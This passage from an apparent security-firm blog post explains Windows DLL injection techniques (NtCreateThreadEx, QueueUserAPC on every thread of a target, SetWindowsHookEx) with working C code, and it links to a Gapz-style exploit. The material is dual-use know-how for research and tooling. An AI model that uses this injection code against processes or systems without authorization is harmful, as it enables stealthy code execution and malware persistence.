IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);

HMODULE hNtDLL = GetModuleHandle("Ntdll.dll");

fpNtCreateThreadEx pNtCreateThreadEx =
(fpNtCreateThreadEx)GetProcAddress(hNtDLL,"NtCreateThreadEx");

NtCreateThreadExBuffer ntbuffer = {0};
DWORD temp1 = 0;
DWORD temp2 = 0;

ntbuffer.Size = sizeof(NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = &temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;

HANDLE hThread = NULL;

pNtCreateThreadEx( &hThread,
0x1FFFFF,
NULL,
hProcess,
pLoadLib,
pProcessMem,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer
);
[/csharp]


The downside to this method is that the function is undocumented so it may change in the future.

LoadLibrary QueueUserAPC variation
If we don’t want to start our own thread, we can hijack an existing thread in the target process, by using the QueueUserAPC function.

[csharp]
DWORD WINAPI QueueUserAPC(
_In_  PAPCFUNC pfnAPC,
_In_  HANDLE hThread,
_In_  ULONG_PTR dwData

);
[/csharp]

Calling this function will queue an asynchronous procedure call on the specified thread.  As with the previous methods, it just so happens that the APC callback function prototype more or less matches that of LoadLibrary:

[csharp]
VOID CALLBACK APCProc(
_In_  ULONG_PTR dwParam
);
[/csharp]

So we can simply substitute LoadLibrary instead of a real APC callback function and the parameter can be a pointer to the filename of the dll we wish to inject.   One issue with this method revolves around how Windows executes APC’s.  Windows has no overarching scheduler looking at the APC queue so the queue is only examined when the thread becomes alertable.  This happens when a thread synchronisation call is made such as WaitForSingleObject or SleepEx (and others).

So a ‘hack’ we can employ is to queue the APC on every single thread and hope that at least one of them will become alertable, a prime candidate is the windows message queue thread of a UI application.  Another potential ‘hack’ that could be employed would be to use SetThreadContext to set EIP to point at SleepEx, however we may crash the thread by doing this.

The CreateRemoteThread call from previous examples can be replaced by the following:

[csharp]
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

if (hSnapshot)
{
THREADENTRY32 thEntry = { 0 };
thEntry.dwSize = sizeof(THREADENTRY32);
DWORD processId = GetProcessId(hProcess);
BOOL bEntry = Thread32First(hSnapshot, &thEntry);

//try and open any thread
while (bEntry)
{
if (processId == thEntry.th32OwnerProcessID)
{

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);

if (hThread )
{
QueueUserAPC((PAPCFUNC)pLoadLib, hThread, ((ULONG_PTR)pProcessMem);

CloseHandle(hThread);

}
}

bEntry = Thread32Next(hSnapshot, &thEntry);
}

CloseHandle(hSnapshot);
}
[/csharp]

 

SetWindowsHookEx

Another method SetWindowsHookEx, can be used in two ways.  It can either inject a DLL into every running process or can be targeted at a specific thread in a process.

[csharp]
HHOOK WINAPI SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
[/csharp]

As Microsoft notes in its documentation, if you call this function from a 32 bit application then it only injects into other 32bit applications.  Conversely a 64bit application calling this method only injects into other 64bit applications.

It may be possible to work around this limitation and craft your 32bit injector code to switch into 64bit mode and then call SetWindowsHookEx, the technique is detailed in ReWolf’s blog.

Or, simply create a 64bit and 32bit injector application.  Note though that you would need to inject a 64bit DLL into a 64bit process.

Another downside of using SetWindowsHookEx is that if you want to play nicely with Windows, you will need to call UnhookWindowsHookEx from the injector when you have finished with the hook, requiring that your injector application continues to run after hooking and sets up some sort of communication, for example a named pipe or mutex with the hook DLL so that hook removal can be negotiated.

Other methods
There are still further injection methods to investigate, an interesting one exploits shared sections and example of which is the System Tray injection method used by the Win32.Gapz virus, a Metasploit version of this can be found here:

https://github.com/0vercl0k/stuffz/blob/master/gapz_code_injection.cpp

This involves writing some shell code and exploiting a security weakness in Windows so is not as legitimate as the other techniques discussed.

Conclusion

It’s relatively simple to load a DLL into another process by causing LoadLibrary to be invoked on a remote thread as shown above.  The QueueUserAPC technique is an interesting one, however it suffers from two problems the first being that it requires an alertable thread and the second is that it’s difficult to determine if the APC has been called so that the memory can be released.  A possible solution would be to use a named event in the injected DLL.

Using SetWindowsHookEx has the downside that it can only inject into either 32bit or 64 bit processes, depending on which type of process it’s being called from.

Download the  source code

To contact Nettitude’s editor, please email media@nettitude.com.